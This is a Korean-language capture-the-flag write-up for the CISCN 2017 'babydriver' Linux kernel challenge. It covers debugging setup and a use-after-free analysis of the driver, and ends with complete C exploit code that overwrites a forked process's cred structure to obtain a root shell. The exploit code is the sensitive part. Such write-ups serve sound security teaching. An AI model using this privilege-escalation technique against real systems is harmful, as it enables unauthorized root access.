CISCN CTF 2017 babydriver


커널에 대한 기본 상식을 정리해놓았습니다.

[Kernel] Linux kernel exploit basic

목차


  • Environment setup
    • Extract file
    • Extract vmlinux
    • Remote kernel debugging
  • Analysis
  • Exploit

Environment setup


Extract file

압축 파일에 어떤 파일이 들어있는지 확인해봅시다.

babydriver.zip

babydriver/
├── boot.sh
├── bzImage
└── rootfs.cpio

이렇게 파일들이 들어있습니다.

bzImage파일은 kernel파일이므로 제외하고 boot.sh파일과 rootfs.cpio파일을 확인해봅시다.

boot.sh

#!/bin/bash

qemu-system-x86_64 \
-initrd rootfs.cpio -kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm -monitor /dev/null -m 64M \
--nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

메모리는 64mb만큼 할당하고, smep보호기법을 걸어놨습니다. 그리고 kvm을 사용하고 있다는 걸 알 수 있습니다.

저희는 추후에 커널을 디버깅하기 위해서 qemu로 부팅해준 커널에 gdb 서버를 열어줘야 합니다.

방법은 간단한데, qemu로 부팅할 때 -s옵션을 추가해주면 부팅할 때 자동으로 1234번 포트로 gdb 서버가 열립니다.

또, 만약 kernel panic이 발생하면 -m 64M옵션에서 메모리 크기를 적당히 크게 늘려서 할당해주면 잘 돌아갑니다.

vmware는 기본적으로 kvm이 실행이 안되므로 cpu설정에서 Virtualize Inter VT-x/EPT or AMD-V/RVI을 체크해줘야 합니다.

rootfs.cpio

$ binwalk -e rootfs.cpio 1>/dev/null
$ cd _rootfs.cpio.extracted
$ binwalk -e 0 1>/dev/null
$ cd _0.extracted
$ ls -al
total 2782
drwxrwxrwx 1 root root       0 Apr  2 00:22 .
drwxrwxrwx 1 root root       0 Apr  2 00:22 ..
-rwxrwxrwx 1 root root 2844672 Apr  2 00:22 0.cpio
drwxrwxrwx 1 root root    4096 Apr  2 00:22 cpio-root

이렇게 .cpio file을 extract할 수 있습니다.

(모든 kernel문제가 다 그런지는 모르겠지만, 이 문제에서 취약점이 존재하는 파일은 cpio-root/lib/modules/4.4.72/babydriver.ko입니다.)

Extract vmlinux

이 문제는 vmlinux파일을 제공해주지 않아서, bzImage커널 파일에서 extract해야 합니다.

apt install linux-headers-(uname -r)
/usr/src/linux-headers-(uname -r)/scripts/extract-vmlinux bzImage > vmlinux

이러면 vmlinux파일을 구할 수 있습니다.

이렇게 추출한 파일은 정상적으로 빌드한 vmlinux파일이 아니기 때문에, 심볼이 깨진 상태 (stripped)입니다.

하지만 rop gadget을 구할 때나 디버깅을 할 때 필수적으로 필요하기 때문에, 문제에서 제공해주는 파일이 없다면, 이렇게 직접 구해주어야 합니다.

심볼은 커널을 부팅한 뒤 user 권한으로 /proc/kallsyms 파일을 읽어서 구할 수 있습니다.

만약에 안 된다면 init파일을 수정해서 root 권한으로 심볼을 뽑아내면 됩니다.

find . | cpio -o --format=newc > ./rootfs.cpio

현재 디렉토리의 모든 file들을 cpio로 합치는 명령어입니다.

/proc/kallsyms파일을 user권한으로 읽을 수 없다면 init파일을 수정하고 위와같이 cpio로 묶어준 뒤, root 권한으로 심볼을 읽어올 수 있습니다.

Remote kernel debugging

가장 먼저 터미널을 추가적으로 하나 더 열어주고 커널을 부팅해줍니다.

터미널에서 /sys/module/babydriver/sections경로에서 base 주소를 구해줍니다.

$ cd /sys/module/babydriver/sections
$ ls -al
total 0
drwxr-xr-x    2 root     root             0 Apr  3 17:30 .
drwxr-xr-x    5 root     root             0 Apr  3 17:30 ..
-r--r--r--    1 root     root          4096 Apr  3 17:30 .bss
-r--r--r--    1 root     root          4096 Apr  3 17:30 .data
-r--r--r--    1 root     root          4096 Apr  3 17:30 .exit.text
-r--r--r--    1 root     root          4096 Apr  3 17:30 .gnu.linkonce.this_module
-r--r--r--    1 root     root          4096 Apr  3 17:30 .init.text
-r--r--r--    1 root     root          4096 Apr  3 17:30 .note.gnu.build-id
-r--r--r--    1 root     root          4096 Apr  3 17:30 .rodata.str1.1
-r--r--r--    1 root     root          4096 Apr  3 17:30 .strtab
-r--r--r--    1 root     root          4096 Apr  3 17:30 .symtab
-r--r--r--    1 root     root          4096 Apr  3 17:30 .text
-r--r--r--    1 root     root          4096 Apr  3 17:30 __mcount_loc
$ cat .text
0xffffffffc0000000
$ cat .bss
0xffffffffc0002440
$ cat .data
0xffffffffc0002000
$ cat .exit.text
0xffffffffc0000170

이런식으로 base 주소를 구할 수 있습니다. (KASLR이 꺼져있어서 고정적인 주소입니다.)

kernel base : 0xffffffffc0000000

$ gdb vmlinux -q
pwndbg> add-symbol-file cpio-root/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
pwndbg> target remote 0:1234

add-symbol-file <module_path> <base_addr> 명령어를 통해 아까 구한 커널 베이스를 베이스로 모듈의 심볼을 적용시킵니다.

target remote <host>:<port>는 디버거로 리모트 디버깅을 attach하는 명령어입니다.

이러면 커널 디버깅을 위한 attach가 성공적으로 진행이 됩니다.

(/proc/kallsyms파일을 심볼로 적용시키려면 방법이 복잡한 것 같길래 일단은 기본적인 방법으로 진행했습니다.)

이제 분석을 진행해봅시다.

Analysis


babydriver.ko파일을 분석해봅시다.

int __fastcall babyrelease(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n");
  return 0;
}

babyrelease 함수는 /dev/babydev device를 close할 때 실행되는 함수입니다.

kfree함수로 전역변수에 저장된 heap 포인터를 free시키는데, 전역변수 값을 초기화하지 않습니다.

dangling pointer 취약점이 발생합니다.

int __fastcall babyopen(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n");
  return 0;
}

babyopen함수는 /dev/babydev device를 open할 때 실행되는 함수인데, 함수를 보면 0x40byte만큼 힙을 할당해서 device_buf에 넣어주고, 0x40 값을 그대로 device_buf_len변수에 넣습니다.

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 size)
{   
  size_t v3; // rdx
  size_t arg3_size; // rbx
  __int64 result; // rax

  _fentry__(filp, command);
  arg3_size = v3;
  if ( command == 65537 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = _kmalloc(arg3_size, 37748928LL);
    babydev_struct.device_buf_len = arg3_size;
    printk("alloc done\n");
    result = 0LL;
  }
  else
  {
    printk(&byte_2EB);
    result = -22LL;
  }
  return result;
}

babyioctl함수는 ioctl함수에 file descriptor인자를 babydevice로 넘겨주면 실행되는 함수입니다.

command변수의 값이 65537이면, 버퍼를 free한 뒤, 3번째 인자의 값으로 버퍼를 재할당합니다.

그리고 device_buf_len변수의 값을 3번째 인자의 값으로 바꿔줍니다.

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_from_user(babydev_struct.device_buf, buffer, v4);
    result = v6;
  }
  return result;
}

babywrite함수는 heap 영역에 우리가 넘겨준 buffer값을 3번째 인자 길이만큼 복사해줍니다.

만약 device_buf_len변수보다 더 큰 값을 3번째 인자로 넘기면 아무 행동도 하지 않습니다.

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_to_user(buffer, babydev_struct.device_buf, v4);
    result = v6;
  }
  return result;
}

babyread함수는 babywrite함수와 반대로 커널의 heap 데이터를 유저 space의 버퍼에 적어줍니다.

마찬가지로 만약 device_buf_len변수보다 더 큰 값을 3번째 인자로 넘기면 아무 행동도 하지 않습니다.

대충 이제 어떻게 익스할지 슬슬 감이옵니다.

Exploit


대충 알아낸 점을 정리하고, 시나리오를 생각해봅시다.

  1. 여러 번 deviceopen해도, 같은 전역변수를 사용함.
  2. close할 때 전역변수 buffer를 0으로 초기화하지 않으므로 dangling pointer 취약점 발생 (Use-After-Free)

굿. 이제 시나리오를 생각해봅시다.

  1. device를 두 번 open해서 각각 다른 변수에 fd를 저장함.
  2. 첫 번째 fd를 통해 ioctl을 호출해서 cred구조체 크기(0xa8 byte)에 맞게 heap영역을 할당함.
  3. 첫 번째 fdclose함.
  4. fork를 호출하면 전역변수의 buffer heap에 현재 권한의 cred구조체가 할당됨.
  5. 두 번째 fd를 통해 write함수를 호출해서, cred구조체 멤버의 id들을 root권한으로 바꿔버림
  6. system("/bin/sh") => get root;
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>

char buf[0x200];

int main() {
    int fd1, fd2, pid;
    fd1 = open("/dev/babydev", O_RDWR);
    fd2 = open("/dev/babydev", O_RDWR);  
    ioctl(fd1, 65537, 0xa8);
    for (int i = 0; i < 0xa8; ++i) buf[i] = 'A';
    write(fd1, buf, 0xa7);
    close(fd1);
    pid = fork();
    if(pid < 0) {
        puts("fork is failed..");
        puts("Something worng..");
        return 0;
    }
    if(pid == 0) {
        ioctl(fd2, 65537, 0xa8);
        for (int i = 0; i < 0xa8; ++i) buf[i] = 'B';
        write(fd2, buf, 0x38);
        system("id");
    }
    puts("Success!");
    return 0;
}

위 코드를 토대로 babywrite함수에 bp를 건 후 한 번 디버깅해봅시다.

처음 babywrite함수의 bp에 걸린 후 copy_from_user함수가 진행된 이후까지 진행해보면, 0xffff88000de64b40영역에 힙이 할당되어, 'A'가 잘 쓰여져있는 것을 확인할 수 있습니다.

계속 진행해봅시다.

babywrite에 bp가 걸렸을 때 다시 그 힙 영역을 다시 확인해보면, 아까 close함으로써 free시킨 영역이었기에, fork()를 진행했을 때 복사된 cred구조체가 할당되어있는 것을 확인할 수 있습니다.

    ...

    if(pid == 0) {
        ioctl(fd2, 65537, 0xa8);
        for (int i = 0; i < 0xa8; ++i) buf[i] = 'B';
        write(fd2, buf, 0x38);

    ...

이제 위 코드 부분으로 인해, fd2->device_bufcred구조체는 같은 주소값을 갖게 되며, 동시에 0x38만큼의 영역이 'B'로 덮이게 됩니다.

이제 system("id")의 결과를 한 번 볼까요?

$ ./solve
./solve
[   36.908637] device open
[   36.914202] device open
[   36.916409] alloc done
[   36.946315] device release
Success!
$ [   36.961888] alloc done
uid=1111638594 gid=1111638594 groups=1000(ctf)
Success!

이렇게 uidgid가 바뀐 것을 확인할 수 있습니다.

이제 코드를 조금 수정해서 root 쉘을 획득해봅시다.

성공적으로 root쉘을 획득했습니다.

solve.c


#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>

char buf[0x200];

int main() {
    int fd1, fd2, pid;
    fd1 = open("/dev/babydev", O_RDWR);
    fd2 = open("/dev/babydev", O_RDWR);  
    ioctl(fd1, 65537, 0xa8);
    close(fd1);
    pid = fork();

    if(pid < 0) {
        puts("fork is failed..");
        puts("Something worng..");
        exit(-1);
    }

    else if(pid == 0) {  
        ioctl(fd2, 65537, 0xa8);
        for (int i = 0; i < 0xa8; ++i) buf[i] = '\x00';
        write(fd2, buf, 0x38);
        if(getuid() == 0) 
            system("/bin/sh");
        else puts("I don't know why..");
        exit(0);
    }

    else {
        wait(0);
    }
    return 0;
}